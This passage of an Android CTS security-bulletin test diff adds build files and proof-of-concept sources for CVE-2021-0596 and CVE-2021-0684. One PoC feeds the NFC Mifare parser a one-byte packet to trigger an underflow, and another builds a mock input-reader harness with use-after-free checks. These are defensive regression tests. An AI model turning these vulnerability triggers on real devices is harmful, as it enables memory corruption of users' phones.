+    return EXIT_VULNERABLE;
+  }
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
similarity index 87%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
rename to hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
index 7b410b7..bcbf54f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
@@ -15,8 +15,12 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
-    name: "CVE-2021-29368",
+    name: "CVE-2020-29368",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
     srcs: ["poc.cpp",],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp
similarity index 100%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/poc.cpp
rename to hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/Android.bp
new file mode 100644
index 0000000..a8d1412
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/Android.bp
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2021-0596",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "packages/apps/Nfc/nci/jni/extns/pn54x/inc",
+        "packages/apps/Nfc/nci/jni/extns/pn54x/src/common",
+        "packages/apps/Nfc/nci/jni/extns/pn54x/src/mifare",
+        "system/nfc/src/gki/common",
+        "system/nfc/src/gki/ulinux",
+        "system/nfc/src/include",
+        "system/nfc/src/nfa/include",
+        "system/nfc/src/nfc/include",
+    ],
+    shared_libs: [
+        "libnfc_nci_jni",
+    ],
+    cflags: [
+        "-DCHECK_UNDERFLOW",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/poc.cpp
similarity index 60%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/poc.cpp
index 7b410b7..9b25004 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/poc.cpp
@@ -15,8 +15,21 @@
  *
  */
 
-cc_test {
-    name: "CVE-2021-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+#include "phNxpExtns_MifareStd.h"
+
+uint8_t NFC_GetNCIVersion() {
+    return NCI_VERSION_2_0;
+}
+
+int main() {
+    uint8_t *buffer = (uint8_t*) malloc(16 * sizeof(uint8_t));
+    if (buffer == nullptr) {
+        return EXIT_FAILURE;
+    }
+    uint8_t bufferSize = 1;
+    buffer[0] = 0x10;
+    phNxpExtns_MfcModuleInit();
+    Mfc_RecvPacket(buffer, bufferSize);
+    free(buffer);
+    return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp
new file mode 100644
index 0000000..c67488d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2021-0684",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    header_libs: [
+        "libbatteryservice_headers",
+    ],
+    srcs: [
+        "poc.cpp",
+        "TestInputListener.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DCHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE=4096",
+        "-Wno-unused-parameter",
+    ],
+    static_libs: [
+        "libinputdispatcher",
+    ],
+    shared_libs: [
+        "libinputflinger_base",
+        "libinputreader",
+        "libinputflinger",
+        "libinputreader",
+        "libbase",
+        "libinput",
+        "liblog",
+        "libutils",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp
new file mode 100644
index 0000000..875a38a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
+ *  is used as reference to come up with file
+ *  Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
+ *  retained
+ */
+
+#include "TestInputListener.h"
+
+namespace android {
+
+// --- TestInputListener ---
+
+TestInputListener::TestInputListener(std::chrono::milliseconds eventHappenedTimeout,
+                                     std::chrono::milliseconds eventDidNotHappenTimeout)
+      : mEventHappenedTimeout(eventHappenedTimeout),
+        mEventDidNotHappenTimeout(eventDidNotHappenTimeout) {}
+
+TestInputListener::~TestInputListener() {}
+
+template <class NotifyArgsType>
+void TestInputListener::assertCalled(NotifyArgsType* outEventArgs, std::string message) {
+    std::unique_lock<std::mutex> lock(mLock);
+    base::ScopedLockAssertion assumeLocked(mLock);
+
+    std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
+    if (queue.empty()) {
+        const bool eventReceived =
+                mCondition.wait_for(lock, mEventHappenedTimeout,
+                                    [&queue]() REQUIRES(mLock) { return !queue.empty(); });
+        if (!eventReceived) {
+            return;
+        }
+    }
+    if (outEventArgs) {
+        *outEventArgs = *queue.begin();
+    }
+    queue.erase(queue.begin());
+}
+
+template <class NotifyArgsType>
+void TestInputListener::assertNotCalled(std::string message) {
+    std::unique_lock<std::mutex> lock(mLock);
+    base::ScopedLockAssertion assumeLocked(mLock);
+
+    std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
+    const bool eventReceived =
+            mCondition.wait_for(lock, mEventDidNotHappenTimeout,
+                                [&queue]() REQUIRES(mLock) { return !queue.empty(); });
+    if (eventReceived) {
+        return;
+    }
+}
+
+template <class NotifyArgsType>
+void TestInputListener::notify(const NotifyArgsType* args) {
+    std::scoped_lock<std::mutex> lock(mLock);
+
+    std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
+    queue.push_back(*args);
+    mCondition.notify_all();
+}
+
+void TestInputListener::notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) {
+    notify<NotifyConfigurationChangedArgs>(args);
+}
+
+void TestInputListener::notifyDeviceReset(const NotifyDeviceResetArgs* args) {
+    notify<NotifyDeviceResetArgs>(args);
+}
+
+void TestInputListener::notifyKey(const NotifyKeyArgs* args) {
+    notify<NotifyKeyArgs>(args);
+}
+
+void TestInputListener::notifyMotion(const NotifyMotionArgs* args) {
+    notify<NotifyMotionArgs>(args);
+}
+
+void TestInputListener::notifySwitch(const NotifySwitchArgs* args) {
+    notify<NotifySwitchArgs>(args);
+}
+
+void TestInputListener::notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) {
+    notify<NotifyPointerCaptureChangedArgs>(args);
+}
+
+void TestInputListener::notifySensor(const NotifySensorArgs* args) {
+    notify<NotifySensorArgs>(args);
+}
+
+void TestInputListener::notifyVibratorState(const NotifyVibratorStateArgs* args) {
+    notify<NotifyVibratorStateArgs>(args);
+}
+
+} // namespace android
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h
new file mode 100644
index 0000000..067ac83
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
+ *  is used as reference to come up with file
+ *  Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
+ *  retained
+ */
+
+#ifndef _UI_TEST_INPUT_LISTENER_H
+#define _UI_TEST_INPUT_LISTENER_H
+
+#include <android-base/thread_annotations.h>
+#include "InputListener.h"
+
+using std::chrono_literals::operator""ms;
+
+namespace android {
+
+// --- TestInputListener ---
+
+class TestInputListener : public InputListenerInterface {
+protected:
+    virtual ~TestInputListener();
+
+public:
+    TestInputListener(std::chrono::milliseconds eventHappenedTimeout = 0ms,
+                      std::chrono::milliseconds eventDidNotHappenTimeout = 0ms);
+
+    template <class NotifyArgsType>
+    void assertCalled(NotifyArgsType* outEventArgs, std::string message);
+
+    template <class NotifyArgsType>
+    void assertNotCalled(std::string message);
+
+    template <class NotifyArgsType>
+    void notify(const NotifyArgsType* args);
+
+    virtual void notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) override;
+
+    virtual void notifyDeviceReset(const NotifyDeviceResetArgs* args) override;
+
+    virtual void notifyKey(const NotifyKeyArgs* args) override;
+
+    virtual void notifyMotion(const NotifyMotionArgs* args) override;
+
+    virtual void notifySwitch(const NotifySwitchArgs* args) override;
+
+    virtual void notifySensor(const NotifySensorArgs* args) override;
+
+    virtual void notifyVibratorState(const NotifyVibratorStateArgs* args) override;
+
+    virtual void notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) override;
+
+    std::mutex mLock;
+    std::condition_variable mCondition;
+    const std::chrono::milliseconds mEventHappenedTimeout;
+    const std::chrono::milliseconds mEventDidNotHappenTimeout;
+
+    std::tuple<std::vector<NotifyConfigurationChangedArgs>,  //
+               std::vector<NotifyDeviceResetArgs>,           //
+               std::vector<NotifyKeyArgs>,                   //
+               std::vector<NotifyMotionArgs>,                //
+               std::vector<NotifySwitchArgs>,                //
+               std::vector<NotifySensorArgs>,                //
+               std::vector<NotifyVibratorStateArgs>,         //
+               std::vector<NotifyPointerCaptureChangedArgs>> //
+            mQueues GUARDED_BY(mLock);
+};
+
+} // namespace android
+#endif
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp
new file mode 100644
index 0000000..13b33b6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp
@@ -0,0 +1,1236 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
+ *  is used as reference to come up with file
+ *  Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
+ *  retained
+ */
+
+#include <InputMapper.h>
+#include <InputReader.h>
+#include <InputReaderBase.h>
+#include <InputReaderFactory.h>
+#include <MultiTouchInputMapper.h>
+#include <TestInputListener.h>
+
+namespace android {
+
+using std::chrono_literals::operator""ms;
+using namespace android::flag_operators;
+
+// Timeout for waiting for an expected event
+static constexpr std::chrono::duration WAIT_TIMEOUT = 100ms;
+
+// An arbitrary time value.
+static constexpr nsecs_t ARBITRARY_TIME = 1234;
+static constexpr nsecs_t READ_TIME = 4321;
+
+// Arbitrary display properties.
+static constexpr int32_t DISPLAY_ID = 0;
+static constexpr int32_t DISPLAY_WIDTH = 480;
+static constexpr int32_t DISPLAY_HEIGHT = 800;
+static constexpr std::optional<uint8_t> NO_PORT = std::nullopt;
+static constexpr int32_t BATTERY_STATUS = 4;
+static constexpr int32_t BATTERY_CAPACITY = 66;
+static constexpr int32_t RAW_X_MIN = 25;
+static constexpr int32_t RAW_X_MAX = 1019;
+static constexpr int32_t RAW_Y_MIN = 30;
+static constexpr int32_t RAW_Y_MAX = 1009;
+constexpr int32_t DEVICE_ID = END_RESERVED_ID + 1000;
+constexpr int32_t DEVICE_GENERATION = 2;
+
+const char* DEVICE_NAME = "device";
+const char* DEVICE_LOCATION = "USB1";
+const Flags<InputDeviceClass> DEVICE_CLASSES = Flags<InputDeviceClass>(0);
+constexpr int32_t EVENTHUB_ID = 1;
+const std::string UNIQUE_ID = "local:0";
+
+template <typename T>
+static inline T min(T a, T b) {
+    return a < b ? a : b;
+}
+
+// --- TestPointerController ---
+
+class TestPointerController : public PointerControllerInterface {
+    bool mHaveBounds;
+    float mMinX, mMinY, mMaxX, mMaxY;
+    float mX, mY;
+    int32_t mButtonState;
+    int32_t mDisplayId;
+
+public:
+    TestPointerController()
+          : mHaveBounds(false),
+            mMinX(0),
+            mMinY(0),
+            mMaxX(0),
+            mMaxY(0),
+            mX(0),
+            mY(0),
+            mButtonState(0),
+            mDisplayId(ADISPLAY_ID_DEFAULT) {}
+
+    virtual ~TestPointerController() {}
+
+    void setBounds(float minX, float minY, float maxX, float maxY) {
+        mHaveBounds = true;
+        mMinX = minX;
+        mMinY = minY;
+        mMaxX = maxX;
+        mMaxY = maxY;
+    }
+
+    void setPosition(float x, float y) override {
+        mX = x;
+        mY = y;
+    }
+
+    void setButtonState(int32_t buttonState) override { mButtonState = buttonState; }
+
+    int32_t getButtonState() const override { return mButtonState; }
+
+    void getPosition(float* outX, float* outY) const override {
+        *outX = mX;
+        *outY = mY;
+    }
+
+    int32_t getDisplayId() const override { return mDisplayId; }
+
+    void setDisplayViewport(const DisplayViewport& viewport) override {
+        mDisplayId = viewport.displayId;
+    }
+
+    const std::map<int32_t, std::vector<int32_t>>& getSpots() { return mSpotsByDisplay; }
+
+private:
+    bool getBounds(float* outMinX, float* outMinY, float* outMaxX, float* outMaxY) const override {
+        *outMinX = mMinX;
+        *outMinY = mMinY;
+        *outMaxX = mMaxX;
+        *outMaxY = mMaxY;
+        return mHaveBounds;
+    }
+
+    void move(float deltaX, float deltaY) override {
+        mX += deltaX;
+        if (mX < mMinX) mX = mMinX;
+        if (mX > mMaxX) mX = mMaxX;
+        mY += deltaY;
+        if (mY < mMinY) mY = mMinY;
+        if (mY > mMaxY) mY = mMaxY;
+    }
+
+    void fade(Transition) override {}
+
+    void unfade(Transition) override {}
+
+    void setPresentation(Presentation) override {}
+
+    void setSpots(const PointerCoords*, const uint32_t*, BitSet32 spotIdBits,
+                  int32_t displayId) override {
+        std::vector<int32_t> newSpots;
+        // Add spots for fingers that are down.
+        for (BitSet32 idBits(spotIdBits); !idBits.isEmpty();) {
+            uint32_t id = idBits.clearFirstMarkedBit();
+            newSpots.push_back(id);
+        }
+
+        mSpotsByDisplay[displayId] = newSpots;
+    }
+
+    void clearSpots() override {}
+
+    std::map<int32_t, std::vector<int32_t>> mSpotsByDisplay;
+};
+
+// --- TestInputReaderPolicy---
+
+class TestInputReaderPolicy : public InputReaderPolicyInterface {
+    std::mutex mLock;
+    std::condition_variable mDevicesChangedCondition;
+
+    InputReaderConfiguration mConfig;
+    std::unordered_map<int32_t, std::shared_ptr<TestPointerController>> mPointerControllers;
+    std::vector<InputDeviceInfo> mInputDevices GUARDED_BY(mLock);
+    bool mInputDevicesChanged GUARDED_BY(mLock){false};
+    std::vector<DisplayViewport> mViewports;
+    TouchAffineTransformation transform;
+
+protected:
+    virtual ~TestInputReaderPolicy() {}
+
+public:
+    TestInputReaderPolicy() {}
+
+    virtual void clearViewports() {
+        mViewports.clear();
+        mConfig.setDisplayViewports(mViewports);
+    }
+
+    std::optional<DisplayViewport> getDisplayViewportByUniqueId(const std::string& uniqueId) const {
+        return mConfig.getDisplayViewportByUniqueId(uniqueId);
+    }
+    std::optional<DisplayViewport> getDisplayViewportByType(ViewportType type) const {
+        return mConfig.getDisplayViewportByType(type);
+    }
+
+    std::optional<DisplayViewport> getDisplayViewportByPort(uint8_t displayPort) const {
+        return mConfig.getDisplayViewportByPort(displayPort);
+    }
+
+    void addDisplayViewport(int32_t displayId, int32_t width, int32_t height, int32_t orientation,
+                            bool isActive, const std::string& uniqueId,
+                            std::optional<uint8_t> physicalPort, ViewportType viewportType) {
+        const DisplayViewport viewport =
+                createDisplayViewport(displayId, width, height, orientation, isActive, uniqueId,
+                                      physicalPort, viewportType);
+        mViewports.push_back(viewport);
+        mConfig.setDisplayViewports(mViewports);
+    }
+
+    bool updateViewport(const DisplayViewport& viewport) {
+        size_t count = mViewports.size();
+        for (size_t i = 0; i < count; i++) {
+            const DisplayViewport& currentViewport = mViewports[i];
+            if (currentViewport.displayId == viewport.displayId) {
+                mViewports[i] = viewport;
+                mConfig.setDisplayViewports(mViewports);
+                return true;
+            }
+        }
+        // no viewport found.
+        return false;
+    }
+
+    void addExcludedDeviceName(const std::string& deviceName) {
+        mConfig.excludedDeviceNames.push_back(deviceName);
+    }
+
+    void addInputPortAssociation(const std::string& inputPort, uint8_t displayPort) {
+        mConfig.portAssociations.insert({inputPort, displayPort});
+    }
+
+    void addInputUniqueIdAssociation(const std::string& inputUniqueId,
+                                     const std::string& displayUniqueId) {
+        mConfig.uniqueIdAssociations.insert({inputUniqueId, displayUniqueId});
+    }
+
+    void addDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.insert(deviceId); }
+
+    void removeDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.erase(deviceId); }
+
+    void setPointerController(int32_t deviceId, std::shared_ptr<TestPointerController> controller) {
+        mPointerControllers.insert_or_assign(deviceId, std::move(controller));
+    }
+
+    const InputReaderConfiguration* getReaderConfiguration() const { return &mConfig; }
+
+    const std::vector<InputDeviceInfo>& getInputDevices() const { return mInputDevices; }
+
+    TouchAffineTransformation getTouchAffineTransformation(const std::string& inputDeviceDescriptor,
+                                                           int32_t surfaceRotation) {
+        return transform;
+    }
+
+    void setTouchAffineTransformation(const TouchAffineTransformation t) { transform = t; }
+
+    void setPointerCapture(bool enabled) { mConfig.pointerCapture = enabled; }
+
+    void setShowTouches(bool enabled) { mConfig.showTouches = enabled; }
+
+    void setDefaultPointerDisplayId(int32_t pointerDisplayId) {
+        mConfig.defaultPointerDisplayId = pointerDisplayId;
+    }
+
+    float getPointerGestureMovementSpeedRatio() { return mConfig.pointerGestureMovementSpeedRatio; }
+
+private:
+    DisplayViewport createDisplayViewport(int32_t displayId, int32_t width, int32_t height,
+                                          int32_t orientation, bool isActive,
+                                          const std::string& uniqueId,
+                                          std::optional<uint8_t> physicalPort, ViewportType type) {
+        bool isRotated =
+                (orientation == DISPLAY_ORIENTATION_90 || orientation == DISPLAY_ORIENTATION_270);
+        DisplayViewport v;
+        v.displayId = displayId;
+        v.orientation = orientation;
+        v.logicalLeft = 0;
+        v.logicalTop = 0;
+        v.logicalRight = isRotated ? height : width;
+        v.logicalBottom = isRotated ? width : height;
+        v.physicalLeft = 0;
+        v.physicalTop = 0;
+        v.physicalRight = isRotated ? height : width;
+        v.physicalBottom = isRotated ? width : height;
+        v.deviceWidth = isRotated ? height : width;
+        v.deviceHeight = isRotated ? width : height;
+        v.isActive = isActive;
+        v.uniqueId = uniqueId;
+        v.physicalPort = physicalPort;
+        v.type = type;
+        return v;
+    }
+
+    void getReaderConfiguration(InputReaderConfiguration* outConfig) override {
+        *outConfig = mConfig;
+    }
+
+    std::shared_ptr<PointerControllerInterface> obtainPointerController(int32_t deviceId) override {
+        return mPointerControllers[deviceId];
+    }
+
+    void notifyInputDevicesChanged(const std::vector<InputDeviceInfo>& inputDevices) override {
+        std::scoped_lock<std::mutex> lock(mLock);
+        mInputDevices = inputDevices;
+        mInputDevicesChanged = true;
+        mDevicesChangedCondition.notify_all();
+    }
+
+    std::shared_ptr<KeyCharacterMap> getKeyboardLayoutOverlay(
+            const InputDeviceIdentifier&) override {
+        return nullptr;
+    }
+
+    std::string getDeviceAlias(const InputDeviceIdentifier&) override { return ""; }
+
+    void waitForInputDevices(std::function<void(bool)> processDevicesChanged) {
+        std::unique_lock<std::mutex> lock(mLock);
+        base::ScopedLockAssertion assumeLocked(mLock);
+
+        mDevicesChangedCondition.wait_for(lock, WAIT_TIMEOUT, [this]() REQUIRES(mLock) {
+            return mInputDevicesChanged;
+        });
+        mInputDevicesChanged = false;
+    }
+};
+
+// --- TestEventHub ---
+
+class TestEventHub : public EventHubInterface {
+    struct KeyInfo {
+        int32_t keyCode;
+        uint32_t flags;
+    };
+
+    struct SensorInfo {
+        InputDeviceSensorType sensorType;
+        int32_t sensorDataIndex;
+    };
+
+    struct Device {
+        InputDeviceIdentifier identifier;
+        Flags<InputDeviceClass> classes;
+        PropertyMap configuration;
+        KeyedVector<int, RawAbsoluteAxisInfo> absoluteAxes;
+        KeyedVector<int, bool> relativeAxes;
+        KeyedVector<int32_t, int32_t> keyCodeStates;
+        KeyedVector<int32_t, int32_t> scanCodeStates;
+        KeyedVector<int32_t, int32_t> switchStates;
+        KeyedVector<int32_t, int32_t> absoluteAxisValue;
+        KeyedVector<int32_t, KeyInfo> keysByScanCode;
+        KeyedVector<int32_t, KeyInfo> keysByUsageCode;
+        KeyedVector<int32_t, bool> leds;
+        std::unordered_map<int32_t, SensorInfo> sensorsByAbsCode;
+        BitArray<MSC_MAX> mscBitmask;
+        std::vector<VirtualKeyDefinition> virtualKeys;
+        bool enabled;
+
+        status_t enable() {
+            enabled = true;
+            return OK;
+        }
+
+        status_t disable() {
+            enabled = false;
+            return OK;
+        }
+
+        explicit Device(Flags<InputDeviceClass> classes) : classes(classes), enabled(true) {}
+    };
+
+    std::mutex mLock;
+    std::condition_variable mEventsCondition;
+
+    KeyedVector<int32_t, Device*> mDevices;
+    std::vector<std::string> mExcludedDevices;
+    std::vector<RawEvent> mEvents GUARDED_BY(mLock);
+    std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> mVideoFrames;
+    std::vector<int32_t> mVibrators = {0, 1};
+    std::unordered_map<int32_t, RawLightInfo> mRawLightInfos;
+    // Simulates a device light brightness, from light id to light brightness.
+    std::unordered_map<int32_t /* lightId */, int32_t /* brightness*/> mLightBrightness;
+    // Simulates a device light intensities, from light id to light intensities map.
+    std::unordered_map<int32_t /* lightId */, std::unordered_map<LightColor, int32_t>>
+            mLightIntensities;
+
+public:
+    virtual ~TestEventHub() {
+        for (size_t i = 0; i < mDevices.size(); i++) {
+            delete mDevices.valueAt(i);
+        }
+    }
+
+    TestEventHub() {}
+
+    void addDevice(int32_t deviceId, const std::string& name, Flags<InputDeviceClass> classes) {
+        Device* device = new Device(classes);
+        device->identifier.name = name;
+        mDevices.add(deviceId, device);
+
+        enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_ADDED, 0, 0);
+    }
+
+    void removeDevice(int32_t deviceId) {
+        delete mDevices.valueFor(deviceId);
+        mDevices.removeItem(deviceId);
+
+        enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_REMOVED, 0, 0);
+    }
+
+    bool isDeviceEnabled(int32_t deviceId) {
+        Device* device = getDevice(deviceId);
+        if (device == nullptr) {
+            ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
+            return false;
+        }
+        return device->enabled;
+    }
+
+    status_t enableDevice(int32_t deviceId) {
+        status_t result;
+        Device* device = getDevice(deviceId);
+        if (device == nullptr) {
+            ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
+            return BAD_VALUE;
+        }
+        if (device->enabled) {
+            ALOGW("Duplicate call to %s, device %" PRId32 " already enabled", __func__, deviceId);
+            return OK;
+        }
+        result = device->enable();
+        return result;
+    }
+
+    status_t disableDevice(int32_t deviceId) {
+        Device* device = getDevice(deviceId);
+        if (device == nullptr) {
+            ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
+            return BAD_VALUE;
+        }
+        if (!device->enabled) {
+            ALOGW("Duplicate call to %s, device %" PRId32 " already disabled", __func__, deviceId);
+            return OK;
+        }
+        return device->disable();
+    }
+
+    void finishDeviceScan() {
+        enqueueEvent(ARBITRARY_TIME, READ_TIME, 0, EventHubInterface::FINISHED_DEVICE_SCAN, 0, 0);
+    }
+
+    void addConfigurationProperty(int32_t deviceId, const String8& key, const String8& value) {
+        Device* device = getDevice(deviceId);
+        device->configuration.addProperty(key, value);
+    }
+
+    void addConfigurationMap(int32_t deviceId, const PropertyMap* configuration) {
+        Device* device = getDevice(deviceId);
+        device->configuration.addAll(configuration);
+    }
+
+    void addAbsoluteAxis(int32_t deviceId, int axis, int32_t minValue, int32_t maxValue, int flat,
+                         int fuzz, int resolution = 0) {
+        Device* device = getDevice(deviceId);
+
+        RawAbsoluteAxisInfo info;
+        info.valid = true;
+        info.minValue = minValue;
+        info.maxValue = maxValue;
+        info.flat = flat;
+        info.fuzz = fuzz;
+        info.resolution = resolution;
+        device->absoluteAxes.add(axis, info);
+    }
+
+    void addRelativeAxis(int32_t deviceId, int32_t axis) {
+        Device* device = getDevice(deviceId);
+        device->relativeAxes.add(axis, true);
+    }
+
+    void setKeyCodeState(int32_t deviceId, int32_t keyCode, int32_t state) {
+        Device* device = getDevice(deviceId);
+        device->keyCodeStates.replaceValueFor(keyCode, state);
+    }
+
+    void setScanCodeState(int32_t deviceId, int32_t scanCode, int32_t state) {
+        Device* device = getDevice(deviceId);
+        device->scanCodeStates.replaceValueFor(scanCode, state);
+    }
+
+    void setSwitchState(int32_t deviceId, int32_t switchCode, int32_t state) {
+        Device* device = getDevice(deviceId);
+        device->switchStates.replaceValueFor(switchCode, state);
+    }
+
+    void setAbsoluteAxisValue(int32_t deviceId, int32_t axis, int32_t value) {
+        Device* device = getDevice(deviceId);
+        device->absoluteAxisValue.replaceValueFor(axis, value);
+    }
+
+    void addKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t keyCode,
+                uint32_t flags) {
+        Device* device = getDevice(deviceId);
+        KeyInfo info;
+        info.keyCode = keyCode;
+        info.flags = flags;
+        if (scanCode) {
+            device->keysByScanCode.add(scanCode, info);
+        }
+        if (usageCode) {
+            device->keysByUsageCode.add(usageCode, info);
+        }
+    }
+
+    void addLed(int32_t deviceId, int32_t led, bool initialState) {
+        Device* device = getDevice(deviceId);
+        device->leds.add(led, initialState);
+    }
+
+    void addSensorAxis(int32_t deviceId, int32_t absCode, InputDeviceSensorType sensorType,
+                       int32_t sensorDataIndex) {
+        Device* device = getDevice(deviceId);
+        SensorInfo info;
+        info.sensorType = sensorType;
+        info.sensorDataIndex = sensorDataIndex;
+        device->sensorsByAbsCode.emplace(absCode, info);
+    }
+
+    void setMscEvent(int32_t deviceId, int32_t mscEvent) {
+        Device* device = getDevice(deviceId);
+        typename BitArray<MSC_MAX>::Buffer buffer;
+        buffer[mscEvent / 32] = 1 << mscEvent % 32;
+        device->mscBitmask.loadFromBuffer(buffer);
+    }
+
+    void addRawLightInfo(int32_t rawId, RawLightInfo&& info) {
+        mRawLightInfos.emplace(rawId, std::move(info));
+    }
+
+    void testLightBrightness(int32_t rawId, int32_t brightness) {
+        mLightBrightness.emplace(rawId, brightness);
+    }
+
+    void testLightIntensities(int32_t rawId,
